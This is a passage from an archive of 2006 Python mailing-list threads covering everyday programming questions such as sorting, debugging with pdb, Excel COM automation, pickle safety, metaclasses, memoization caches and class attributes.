and callee. This could be a handler that is passed by the caller to
do_something() that must be aware of it by defining an optional
parameter in its interface. This is definitely framework overhead and
although I wouldn't qualify it as "ugly" it makes your program more
complex and dependent on more components. Finally you have to balance
the tradeoff. All other approaches I've seen here tried to tame the
effect of throwing exceptions that were only needed occasionally. It's
like dealing with unwanted checked exceptions in Java...



From fredrik at pythonware.com  Thu Oct  5 00:49:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 06:49:54 +0200
Subject: Definition of '1j'?
In-Reply-To: <1160008999.142645.67250@k70g2000cwa.googlegroups.com>
References: <1160008999.142645.67250@k70g2000cwa.googlegroups.com>
Message-ID: <eg22ti$5rr$1@sea.gmane.org>

stephenhicks at gmail.com wrote:


> I'm wondering how/where the syntax for, e.g., 1j is defined.

http://docs.python.org/ref/imaginary.html

</F>



From f.braennstroem at gmx.de  Wed Oct 11 15:55:29 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Wed, 11 Oct 2006 21:55:29 +0200
Subject: Adding Worksheets to an Excel Workbook
References: <78b3a9580610111207h75f521b4h318f3117a6fa9ab6@mail.gmail.com>
Message-ID: <egji7g$m2j$1@sea.gmane.org>

Hi,

just a small OT question coming from a linux openoffice
system...

* wesley chun <wescpy at gmail.com> wrote:
>> From: e.h.doxtator at accenture.com
>> Date: Tues, Oct 10 2006 2:08 pm
>>
>> I'm a Python newbie, and I'm just getting to the wonders of COM
>> programming.
>
>
> welcome to Python!!  i too, have (recently) been interested in COM
> programming, so much so that i added some material on Microsoft Office
> (Win32 COM Client) Programming to the 2nd ed of my book, "Core Python
> Programming" (see link below).  it's only introductory material, but i
> think you may find it useful as i have, and shows you how to create
> simple applications for Excel, Word, PowerPoint, and Outlook.
>
> in addition to greg's code snippet, here's a snippet based on one from
> the book (the code is under a CC license) -- it doesn't add a new
> sheet, but does let you grab the "active" one (the one that is tabbed
> and facing the user):
>
> # based on excel.pyw in Core Python Programming, 2nd ed
>
> from time import sleep
> import win32com.client as win32
>
> def excel():
>     xl = win32.gencache.EnsureDispatch('Excel.Application')
>     ss = xl.Workbooks.Add() # add a new spreadsheet/workbook
>     sh = ss.ActiveSheet  # grab the active sheet of the workbook
>     xl.Visible = True        # make Excel show up on the desktop
>     sleep(1)
>
>     sh.Cells(1,1).Value = 'Python-to-Excel Demo'
>     sleep(1)
>     for i in range(3, 8):
>         sh.Cells(i,1).Value = 'Line %d' % i
>         sleep(1)
>     sh.Cells(i+2,1).Value = "Th-th-th-that's all folks!"
>
>     sleep(5)
>     ss.Close(False) # close the workbook and don't save
>     xl.Application.Quit() # quit Excel
>
> if __name__=='__main__':
>     excel()
>
> hope this helps!

Does there exist something similar for powerpoint? Would be
nice, if anybody can direct me to more examples...

Greetings!
 Fabian



From cameron.walsh at gmail.com  Tue Oct 24 00:12:16 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Tue, 24 Oct 2006 12:12:16 +0800
Subject: Sorting by item_in_another_list
Message-ID: <ehk3p8$j3q$1@enyo.uwa.edu.au>

Hi,

I have two lists, A and B, such that B is a subset of A.

I wish to sort A such that the elements in B are at the beginning of A, 
and keep the existing order otherwise, i.e. stable sort.  The order of 
elements in B will always be correct.

for example:

A = [0,1,2,3,4,5,6,7,8,9,10]
B = [2,3,7,8]

desired_result = [2,3,7,8,0,1,4,5,6,9,10]


At the moment I have defined a comparator function:

def sort_by_in_list(x,y):
	ret = 0
	if x in B:
		ret -= 1
	if y in B:
		ret += 1
	return ret

and am using:

A.sort(sort_by_in_list)

which does produce the desired results.

I do now have a few questions:

1.)  Is this the most efficient method for up to around 500 elements? 
If not, what would be better?
2.)  This current version does not allow me to choose a different list 
for B.  Is there a bind_third function of some description that I could 
use to define a new function with 3 parameters, feed it the third (the 
list to sort by), and have the A.sort(sort_by_in_list) provide the other 
2 variables?


Regards to all,

Cameron.


From fulvio at tm.net.my  Thu Oct 26 06:35:16 2006
From: fulvio at tm.net.my (Fulvio)
Date: Thu, 26 Oct 2006 18:35:16 +0800
Subject: Debugging
In-Reply-To: <453e8b95$0$23778$426a34cc@news.free.fr>
References: <mailman.894.1161423816.11739.python-list@python.org>
	<mailman.1092.1161707783.11739.python-list@python.org>
	<453e8b95$0$23778$426a34cc@news.free.fr>
Message-ID: <200610261835.16494.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Wednesday 25 October 2006 06:13, Bruno Desthuilliers wrote:
> The bp #1 should only trigger if y >= 6

This give me the right point.

> > Supposing to have a function on program's variables the statement like "
> > if myvar == True: break" doesn't gives power to the BP.
>
> I definitively don't understand you. How does statements in your program
> relates to setting conditions on a bp in the debugger ?

The online help states :
|(Pdb) h b
|b(reak) ([file:]lineno | function) [, condition]
|With a line number argument, set a break there in the current
|file.  With a function name, set a break at first executable line
|of that function.  Without argument, list all breaks.  If a second
|argument is present, it is a string specifying an expression
|which must evaluate to true before the breakpoint is honored.

"(Pdb)" is the prompt, as you can see.

I was thinking the "condition" is anything python can digest .Therefore an 'if 
condition: code' should be accepted. Editing a BP with a condition like that 
is taken as good (perhaps there's no check on its validity)

> Did you really bother reading the doc
http://www.python.it/doc/Python-Docs/html/lib/debugger-commands.html
I downloaded all directory tree :)
Doesn't make difference in what is wrote on those and what is given at command 
line help. If my ignorance disturbing too much, feel free to ignore it any 
time. (No flame intention, however) I appreciate your help and these replies 
will make easier for somebody else when a search engine will hit this post.

|(Pdb) b 17
|Breakpoint 3 at /home/user/tmp/mbxreader.py:17
|(Pdb) cl 3
|No breakpoint numbered 3
|(Pdb) h cl
|cl(ear) filename:lineno
|cl(ear) [bpnumber [bpnumber...]]
|With a space separated list of breakpoint numbers, clear
|those breakpoints.  Without argument, clear all breaks 

Do I input wrongly?
Finally I've done some test on pydb, I felt no much differences. But also the 
author tried to keep compatibility with Pdb/Bdb, except some more functions.

F




From rhymes at myself.com  Wed Oct 25 10:30:02 2006
From: rhymes at myself.com (Lawrence Oluyede)
Date: Wed, 25 Oct 2006 16:30:02 +0200
Subject: Sending Dictionary via Network
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<VfGdnW3keKyzBKPYnZ2dnUVZ_sOdnZ2d@comcast.com>
	<1161731374.373983.56110@m73g2000cwd.googlegroups.com>
	<1161734203.189942.42020@k70g2000cwa.googlegroups.com>
	<mailman.1178.1161785059.11739.python-list@python.org>
Message-ID: <1hnrus2.1x5mqkwc3y978N%rhymes@myself.com>

Chris Mellon <arkanes at gmail.com> wrote:
> I would recommend against using pickle if you're going to push it over
> a network - there are signifigant dangers in unpickling anything
> untrusted.

I confirm: http://jcalderone.livejournal.com/15864.html

-- 
Lawrence - http://www.oluyede.org/blog
http://www.neropercaso.it
"Nothing is more dangerous than an idea
if it's the only one you have" - E. A. Chartier


From frithiof.jensen at die_spammer_die.ericsson.com  Wed Oct 25 05:29:15 2006
From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen)
Date: Wed, 25 Oct 2006 11:29:15 +0200
Subject: Sending Dictionary via Network
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<453e9ba0$0$3276$426a34cc@news.free.fr>
	<1161732155.264210.77250@f16g2000cwb.googlegroups.com>
Message-ID: <ehnapb$s6p$1@news.al.sw.ericsson.se>


> "mumebuhi" <mumebuhi at gmail.com> wrote in message
news:1161732155.264210.77250 at f16g2000cwb.googlegroups.com...
> The simplejson module is really cool and simple to use. This is great!

JUST what I need for some configuration files!!
Thanks for the link (die, configparse, dieee).




From cfbolz at gmx.de  Sun Oct  8 15:16:13 2006
From: cfbolz at gmx.de (Carl Friedrich Bolz)
Date: Sun, 08 Oct 2006 21:16:13 +0200
Subject: references and buffer()
In-Reply-To: <egbh20$o6q$2@sea.gmane.org>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
	<egbh20$o6q$2@sea.gmane.org>
Message-ID: <45294E7D.2030606@gmx.de>

Fredrik Lundh wrote:
[snip]
>> is id similar to the address of a variable or a class ?
>
> in the CPython implementation, it's the address where the object is
> stored.  but that's an implementation detail.

Just as an obscure sidenote, in PyPy it is ~address some of the time.
This is due to the fact that since PyPy can use the Boehm garbage
collector. The Boehm collector is conservative and therefore has to
assume that everything in RAM could be a pointer. Now if somebody stores
the id of an object the GC could not distinguish this from a real pointer
if id returned the address, which would keep the object alive.

</sidenode>

Cheers,

Carl Friedrich Bolz



From jeremy+complangpython at jeremysanders.net  Tue Oct  3 11:00:50 2006
From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders)
Date: Tue, 03 Oct 2006 16:00:50 +0100
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
	<7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com>
Message-ID: <efttv2$9p6$1@gemini.csx.cam.ac.uk>

Chaz Ginger wrote:

> What would sets do for me over lists?

It's faster to tell whether something is in a set or dict than in a list
(for some minimum size).

Jeremy

-- 
Jeremy Sanders
http://www.jeremysanders.net/


From cjw at sympatico.ca  Tue Oct 24 09:50:16 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Tue, 24 Oct 2006 09:50:16 -0400
Subject: Getting a lot of SPAM from this list
In-Reply-To: <17725.8236.397367.923534@montanaro.dyndns.org>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
	<17725.8236.397367.923534@montanaro.dyndns.org>
Message-ID: <ehl5mp$n7$1@sea.gmane.org>

skip at pobox.com wrote:
>     Larry> Does anyone have a suggestion as to a way that I can get less of
>     Larry> this spam?  ....  I'm running spamassassin
> 
> Get a better spam filter?
> 
> Skip
Any suggestions for Firefox?

Colin W.



From jiang.haiyun at gmail.com  Sun Oct 22 07:21:22 2006
From: jiang.haiyun at gmail.com (jiang.haiyun at gmail.com)
Date: 22 Oct 2006 04:21:22 -0700
Subject: question: script to input data into a webpage and then retrieve
	the result?
References: <002401c6f5a0$2b5aeef0$0302a8c0@MENG>
	<mailman.923.1161502553.11739.python-list@python.org>
Message-ID: <1161516082.211276.320780@h48g2000cwc.googlegroups.com>

Christoph Haas ???

> On Sunday 22 October 2006 08:06, mxywp wrote:
> > Could someone help me with this or share an example script with me?
> >
> > Here is what I want to accomplish:
> > (1) input 3 values into 3 boxes on a web page
> > (2) there is an authentication code each time you access this page and I
> > have to write this code into the fourth box on the same page (3) click
> > "submit" button
> > (4) this web page will turn into a page with a table having a value
> > calculated from my inputs (5) extract this value into a local file
> > (6) repeat the above for 12000 times.
> >
> > I would really appreciate it if someone can tell me how to do it using
> > python script. I am new to python web programming.
>
> Dark side way:
>  http://www.idyll.org/~t/www-tools/twill.html
>

The main task is to constitute a correct URL.
e.g. the requested page is www.somepage.com,
first input form'id is input1, and respectively.

The request URL should be
'www.somepage.com?input1=value1&input2=value2',
post it and you'll get the response page .

Just do:

import urllib

value1=getValue1()
.
.
.

url='www.somepage.com?input1='+str(value1)+'&input2='+str(value2)
resp=urlopen(url)
parseResp(resp)

Problem: if the authentication code is an image, how to deal with it?

:)Sorry for my poor english.



From Martin.Drautzburg at web.de  Tue Oct 10 16:20:35 2006
From: Martin.Drautzburg at web.de (Martin Drautzburg)
Date: Tue, 10 Oct 2006 22:20:35 +0200
Subject: Everything is a distributed object
References: <a7lqv3-tdd.ln1@C20.host>
	<mailman.197.1160474418.11739.python-list@python.org>
Message-ID: <ktbtv3-dh9.ln1@C20.host>

Steve Holden wrote:


> Unfortunately the overhead of supporting distribution is way too high to
> want to invoke it between two objects living in the same process.

Well I was thinking along the lines of "object" and "proxy-object" where a
proxy object is a handle to a remote object. Sending a proxy-object back to
its original site would reconstruct the original object. So other then
checking if an object is a proxy or not there would be no overhead at all
for non-distributed computing.

Other issues that have been mentioned is network latency or network failure.
I can't really see how this is any different to any other kind of
distributed computing. It should all be a matter of which object lives on
which side of the wire. Of course you *can* build incredibly slow system
when everything is a distributed object, but I cannot see why it *has to"
be slow. And isn't premature optimization the root of all evil?

I believe in a way every distributed system can be seen as a distributed
object system. The main difference is that you have very limited choices
which objects live on which side and what you can send over the wire. In
X11 the DISPLAY is an object that lives on the remote site and you invoke
methods from the client program, which pass literal values, i.e. objects
that can be pickled and whose class is known on the other side. AFAIK fonts
are already a little more complex, because the client does not have to know
what a character looks like, but the Xserver does.

I am kind of confused by the existing tools to program distributed systems
(including pyro), because I find it difficult to figure out how far they
go. I always suspect that they are simply a variation of the "remote adder"
theme, where you can send two numbers and get the sum back.

That would be quite a limited thing IMHO because that would require both
parties to have a common understanding about numbers. While this is
certainly easy to achieve, it leads to a lot of undesired shared knowledge
when things become a little more complex.

So I always wonder

(1) Is it possible to send an object as a parameter?
(2) Can I still do this if the class of this object is only known on one
side of the wire?
(3) Can I instantiate an object of a remote class locally?
(4) Can I subclass a remote class?

I believe pyro can do (1) and none of the rest.













From Matthew.Warren at Digica.com  Wed Oct  4 09:49:20 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Wed, 4 Oct 2006 14:49:20 +0100
Subject: Raw strings and escaping
In-Reply-To: <452291c9$1@nntp0.pdx.net>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58C@UKEX01.Digica.local>

 

> -----Original Message-----
> From: 
> python-list-bounces+matthew.warren=digica.com at python.org 
> [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> rg] On Behalf Of Scott David Daniels
> Sent: 03 October 2006 18:11
> To: python-list at python.org
> Subject: Re: Raw strings and escaping
> 
> Matthew Warren wrote:
> > Hi,
> > 
> > I would expect this to work,
> > 
> > rawstring=r'some things\new things\some other things\'
> > 
> > But it fails as the last backslash escapes the single quote.
> 
> Note something many people don't when looking over the string rules:
> 
>   astring = r'some things\new things\some other things' '\\'
> 
> gives you exactly what you want, doesn't imply a string concatenation
> at run time, and various other things.  Two strings in succession are
> concatenated at source translation time.
> 
> 


Thanks for this and the other explanations.

And you hit the nail on the head with this;

>By the way, I renamed the result from being rawstring.  It 
> gives people
> bad intuitions to refer to some strings as "raw" when what you really
> mean is that the notation you are using is a "raw" notation for a
> perfectly normal string.
	
This is exactly the mistake I had made. I was assuming I was dealing
with 'raw' in this context


Matt.


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From bogus@does.not.exist.com  Sat Oct 14 20:02:33 2006
From: bogus@does.not.exist.com (goyatlah)
Date: Sun, 15 Oct 2006 02:02:33 +0200
Subject: Bug in urllib?
Message-ID: <2cu2j2952nmbrj8rqs56trb7bur1jj6ig1@4ax.com>

urllib.url2pathname("http://127.0.0.1:1030/js.cgi?pca&amp;r=12181")
gives IOError : Bad Url, only coz of the :1030 which should be
accurate portnumber. Is it something I did wrong, or a bug. And what
to do to avoid this (except rewriting url2pathname)?

TIA
Dolf



From fredrik at pythonware.com  Sun Oct 29 07:19:55 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 13:19:55 +0100
Subject: enumerate improvement proposal
In-Reply-To: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
Message-ID: <ei269b$q5p$1@sea.gmane.org>

James Stroud wrote:

> def enumerate(itrbl, start=0, step=1):
>    i = start
>    for it in itrbl:
>      yield (i, it)
>      i += step

that's spelled

     izip(count(start), sequence)

in today's Python.

 > def in_interval(test, bounds, first=1, reverse=False):

why is it this function's job to add an offset to the actual sequence index?

</F>



From no-spam at no-spam-no-spam.com  Fri Oct 27 15:06:03 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Fri, 27 Oct 2006 21:06:03 +0200
Subject: conditional computation
In-Reply-To: <454226b7$0$23601$426a74cc@news.free.fr>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<mailman.1292.1161892930.11739.python-list@python.org>
	<ehr562$251c$1@ulysses.news.tiscali.de>
	<4541369b$0$2875$426a74cc@news.free.fr>
	<ehsmrt$2b8i$1@ulysses.news.tiscali.de>
	<4541f4d7$0$7249$426a74cc@news.free.fr>
	<eht3h9$2den$1@ulysses.news.tiscali.de>
	<454226b7$0$23601$426a74cc@news.free.fr>
Message-ID: <ehtlat$lr7$1@news.albasani.net>

> Robert, that's not the point. I do have enough Python knowledge to
> understand this (totally trivial) code !-)
> 
> What I don't understand is how this code is supposed to save you from
> having to actually write both complex-key-expr and
> expensive-calc-expression more than once. You need them both each time
> you access the cache - whether the result of expensive-calc-expression
> has already been cached or not.
> 
> Now this seems so obvious that I guess I failed to understand some point
> in your original spec (emphasis is mine):
> """
> I want to use a computation cache scheme like
> 
> 
>     o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr
> 
> frequently and elegantly *without writing complex-key-expr or
> expensive-calc-expr twice*.
> """

But it is written only once.? And I have the cache functionality.

"You need them both each time you access the cache" : What you mean with "need"? I still suppose you think expensive-calc-expr is executed every time. But it is not - only the first time.

In my first ugly solution ...

_=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr)

.  it is also only executed once - because the part after "or" is only evaluated if cache.get(_) doesn't find it in the cache.

Just ..

o = memo( complex-key-expr, lambda: expensive-calc-expr ) 

.. is much more elegant. 

Contrast to explain: Uncaching (stupid) would be for example:

o = cache.setdefault(complex-key-expr, expensive-calc-expr)

Because expensive-calc-expr is executed every time. (I remember once I had such a speed blocker bug in sloppy written code and only found it with the profiler)
Javaish ugly without writing the expressions twice (thus using variables) would be:

key=complex-key-expr
if key in cache:
    o=cache[key]
else:
    o=expensive-calc-expr
    cache[key]=o


But who wants to write such code with python, when you have to convert many lines in an optimization effort in your code like

store-var = expensive-calc-expr
...
store-var = expensive-calc-expr
store-var = expensive-calc-expr
store-var = expensive-calc-expr
store-var = expensive-calc-expr
...


Thus what is not solved or what would you do better than:

store-var = memo( complex-key-expr, lambda: expensive-calc-expr )
...
store-var = memo( complex-key-expr, lambda: expensive-calc-expr )
store-var = memo( complex-key-expr, lambda: expensive-calc-expr )
store-var = memo( complex-key-expr, lambda: expensive-calc-expr )
store-var = memo( complex-key-expr, lambda: expensive-calc-expr )
....

I think there is no principally better solution. Maybe format it for the art museum with operators to clean ,-brakets  ...


store-var = rmemo(complex-key-expr) << lambda: expensive-calc-expr


-robert











 


From tjreedy at udel.edu  Sun Oct 29 21:50:03 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 29 Oct 2006 21:50:03 -0500
Subject: beginner's refcount questions
References: <87odru4pc2.fsf@arcor.de>
Message-ID: <ei3p8r$qf$1@sea.gmane.org>


"Jens Theisen" <jth02 at arcor.de> wrote in message 
news:87odru4pc2.fsf at arcor.de...
> python uses gc only where refcounts alone haven't yet done the
> job.

/python/The CPython implementation/

> And some other minor question: Is there a way to query the use count
> of an object? This would be useful for debugging and testing.

sys.getrefcount I believe

thr





From fredrik at pythonware.com  Mon Oct  9 04:20:41 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 10:20:41 +0200
Subject: Why do this?
References: <mailman.1339.1160044890.10491.python-list@python.org><egcict$43p$2@lust.ihug.co.nz>
	<tRmWg.6984$Y24.6554@newsread4.news.pas.earthlink.net>
Message-ID: <egd0op$9lt$1@sea.gmane.org>

Dennis Lee Bieber wrote:

> I'd suspect print() will still do an automatic new-line

and take multiple arguments.  and do automatic string conversion.   and allow
you to print stuff without having to import things (or even knowing that you can
import things).  and let you write code without either having to install an IDE or
going crazy.  and make your code look good.

in other words, it'll still be pythonic.

</F> 





From fredrik at pythonware.com  Thu Oct 12 10:03:16 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 16:03:16 +0200
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com><7x3b9u376m.fsf@ruckus.brouhaha.com><Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com><1160619958.438049.53390@h48g2000cwc.googlegroups.com><l2jXg.63366$5o5.46778@tornado.texas.rr.com><1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<sJrXg.46560$DU3.23285@tornado.texas.rr.com>
Message-ID: <eglhv4$ljs$1@sea.gmane.org>

Paul McGuire wrote:

> My original question was in response to your post, that sort() wasn't required but only a temp 
> variable.  I am very interested in seeing your solution that does not require the data to be 
> sorted.  (This is not just an academic exercise - given a large historical data set, sorting the 
> data is one of the costliest parts of computing the median, and I would greatly appreciate seeing 
> an alternative algorithm.)

if you absolutely definitely cannot afford to modify or copy the input data set, but can
read the data sequentially multiple times reasonably fast, you can do what's basically a
binary search for the median, by counting how many values you have that's above or
below the current guess, and repeating until you find the right value.  see e.g.

    http://ndevilla.free.fr/median/median/src/torben.c

</F> 





From http  Tue Oct 24 14:04:40 2006
From: http (Paul Rubin)
Date: 24 Oct 2006 11:04:40 -0700
Subject: Obtaining SSL certificate info from SSL object - BUG?
References: <453D95EA.1020602@animats.com>
	<donn-D8CFAE.09590324102006@gnus01.u.washington.edu>
	<453E57E9.7010806@animats.com>
Message-ID: <7x4pttd1zb.fsf@ruckus.brouhaha.com>

John Nagle <nagle at animats.com> writes:
> The reason this now matters is that new "high assurance" certs,
> the ones that tell you how much a site can be trusted, are now being
> deployed,

Oh my, I hadn't heard about this.  They come up with new scams all the
time.  I guess I'll check for info.  It sounds sort of like the terror
alert system, which tells us how scared to be on any particular day ;-)


From g.brandl-nospam at gmx.net  Sun Oct 29 04:27:17 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sun, 29 Oct 2006 10:27:17 +0100
Subject: Metaclasses are not called in subclasses. What did I wrong?
In-Reply-To: <mailman.1417.1162081654.11739.python-list@python.org>
References: <mailman.1417.1162081654.11739.python-list@python.org>
Message-ID: <ei1osp$cpc$2@news.albasani.net>

L?tez? wrote:
> I use Python 2.4.4. Please read the code below:
> 
> -----------------------------------------------------------
> from new import classobj
> 
> def mymeta(name,bases,clsdict):
>     print 'meta: %s'%name
>     return classobj(name,bases,clsdict)
> 
> class A(object):
>     __metaclass__=mymeta
> 
> class B(A):
>     pass
> 
> -----------------------------------------------------------
> 
> This should print
> 
> meta: A
> meta: B
> 
> when classes A and B are created. But only meta: B is missing,
> since mymeta() is not called when class B is created.
> 
> Related python documentation states that mymeta() must be called when B is 
> created, since metaclasses are looked up in bases classes if not found in 
> the dictionary of the class itself.
> 
>>From Python 2.4.4's manual: "Otherwise, if there is at least one base class, 
> its metaclass is used (this looks for a __class__ attribute first and if not 
> found, uses its type)."

Peter already explained that when __metaclass__ is not directly defined in the
class body, it's not used as the metaclass, but the class of the first base
class is.

This is an inconsistency IMHO, since Python normally respects inherited
attributes just like those defined in the class itself.

But well, you can live with it :)

Georg


From gagsl-py at yahoo.com.ar  Mon Oct 23 16:53:17 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 23 Oct 2006 17:53:17 -0300
Subject: Getting a lot of SPAM from this list
In-Reply-To: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
Message-ID: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar>

At Monday 23/10/2006 16:13, Larry at bag.python.org, wrote:

>   Does anyone have a suggestion as to a
>way that I can get less of this spam?  I could have another

I use a discardable email address from Yahoo. Spam filtering is good, 
and when you get too much spam, just delete that address and create 
another one.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From juho.schultz at pp.inet.fi  Thu Oct 12 14:49:44 2006
From: juho.schultz at pp.inet.fi (Juho Schultz)
Date: 12 Oct 2006 11:49:44 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
Message-ID: <1160678984.834805.114550@h48g2000cwc.googlegroups.com>

John Doty wrote:

> The problem:
>
> I have a bunch of image files in FITS format. For each raster row in
> each file, I need to determine the median pixel value and subtract it
> from all of the pixels in that row, and then write out the results as
> new FITS files.
>

This may be personal bias... I have spent a few years with FITS files
so every time I see 'FITS' I think 'astronomy' - maybe you are doing
something else. (Someone wrote he does not know what FITS is - see
fits.gsfc.nasa.gov In a nutshell: FITS file is a list of header-data
units. Each header is text containing optional keyword-value pairs and
reading instructions for the data unit. Usually astronomical image data
but it can be anything.)

Sounds like subtracting sky background from the frames, though for some
reason (speed?) column-wise. You could have a look at either PyRAF
(www.stsci.edu/resources/software_hardware/pyraf) or PyMidas
(www.eso.org/sampo/pymidas/). Running some semi-official
sky-subtraction algorithm would at least give you a good case to test
against.

You could also check if ftools already does this. I have not used it
much, but sometimes it saves huge amounts of coding time.
heasarc.gsfc.nasa.gov/docs/software/ftools/ftools_menu.html

> This is a real problem I need to solve, not a made-up toy problem. I was
> originally thinking of solving it in C (I know where to get the pieces
> in that language)

Could you tell a bit more of the data? Are you aiming for accuracy,
speed or getting as complete time series as possible? (for me, speed
has never been an issue) Photometry/astrometry/something else? Is there
some trade-off like "get best possible result in X seconds"?

--
Juho Schultz



From ptmcg at austin.rr._bogus_.com  Fri Oct 27 09:32:24 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 27 Oct 2006 13:32:24 GMT
Subject: How to Split Chinese Character with backslash representation?
References: <mailman.1319.1161920633.11739.python-list@python.org>
Message-ID: <ITn0h.23478$ta3.5907@tornado.texas.rr.com>

"Wijaya Edward" <ewijaya at i2r.a-star.edu.sg> wrote in message 
news:mailman.1319.1161920633.11739.python-list at python.org...
>
> Hi all,
>
> I was trying to split a string that
> represent chinese characters below:
>
>
>>>> str = '\xc5\xeb\xc7\xd5\xbc'
>>>> print str2,
> ???
>>>> fields2 = split(r'\\',str)
>>>> print fields2,
> ['\xc5\xeb\xc7\xd5\xbc']
>
> But why the split function here doesn't seem
> to do the job for obtaining the desired result:
>
> ['\xc5','\xeb','\xc7','\xd5','\xbc']
>

There are no backslash characters in the string str, so split finds nothing 
to split on.  I know it looks like there are, but the backslashes shown are 
part of the \x escape sequence for defining characters when you can't or 
don't want to use plain ASCII characters (such as in your example in which 
the characters are all in the range 0x80 to 0xff).  Look at this example:

>>> s = "\x40"
>>> print s
@

I defined s using the escaped \x notation, but s does not contain any 
backslashes, it contains the '@' character, whose ordinal character value is 
64, or 40hex.

Also, str is not the best name for a string variable, since this masks the 
built-in str type.

-- Paul 




From lbolognini at gmail.com  Tue Oct  3 07:40:34 2006
From: lbolognini at gmail.com (lbolognini at gmail.com)
Date: 3 Oct 2006 04:40:34 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <1159875634.285633.226980@k70g2000cwa.googlegroups.com>

Giovanni Bajo wrote:

> Does this smell "Bitkeeper fiasco" to anyone else than me?

I can't understand why people waste time arguing this stuff.

Use whatever tool is best at it's job... if it's not written in Python
it doesn't mean that Python is not good for the task, only that there
hasn't been any Python programmer that applied himself to the problem
hard enough.

And i dunno what the case against Trac is (it looks a fine tool for my
small projects) but probably it's not good enough for python.org

And BTW BitKeeper failed because Linus wanted to stop Tridge reverse
engineering BitKeeper, not because BK wasn't good.

Lorenzo



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 06:13:33 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 20:13:33 +1000
Subject: Safely renaming a file without overwriting
Message-ID: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>

I want to rename a file, but only if the destination file name doesn't
already exist.

I can do this:

if os.path.exists(dest):
    # skip file, raise an exception, make a backup...
    do_something_else() 
else:
    os.rename(src, dest)


But on a multi-user system, it is possible that dest is created in the
time period between checking if it exists and attempting the rename.

Is there any way to prevent this? Or do I just try to keep the check and
the rename as close together as possible, minimizing the chances and
hoping for the best?


-- 
Steven.



From pandyacus.xspam at xspam.sbcglobal.net  Mon Oct 23 18:35:12 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Mon, 23 Oct 2006 22:35:12 GMT
Subject: python class instantiation
References: <mailman.1011.1161636968.11739.python-list@python.org>
Message-ID: <87r6wyvexo.fsf@localhost.localdomain>

?ric Daigneault wrote:
>Got a question for you all...
>
>I noticed a behaviour in python class creation that is strange, to say the
>least.
>
>When creating a class with data members but no __init__ method.  Python deals
>differently with data members that are muatable and immutables.
>
>Ex:
>class A(object):
>    stringData = "Whatever"
>    listData = []
>
>instance = A()
>
>Will have data members instantiated as expected (instance.stringData ==
>"Whatever" and instance.listData == [])
>
>instance.listData.append("SomeString")
>instance.stringData = "Changed"
>
>Now if I do
>
>secondInstance = A()
>
>it will come with the listData containing the SomeString appended to the
>instance...
>
>this is clearly not normal
>
>Especially that the stringData of Second instance contains the "Whatever" text.
>If the behaviour was at least consistant...  but it is not...
>
>Am I coing nuts or is this by desing, if so it is very misleading...  The two
>instances are sharing the same list, but not the same string ...  I did not
>declare the list to be static in any way....  Why does it behave like this ?
>
>?ric
This is not what I get :
Here is the code and the output for 2.5
class A(object):
    stringData = "Whatever"
    listData = []

inst = A()

print inst.stringData
print inst.listData
print

inst.listData.append("SomeString")
inst.stringData = "Changed"

inst2 = A()

print inst2.stringData
print inst2.listData
print

inst.listData.append("NewThing")
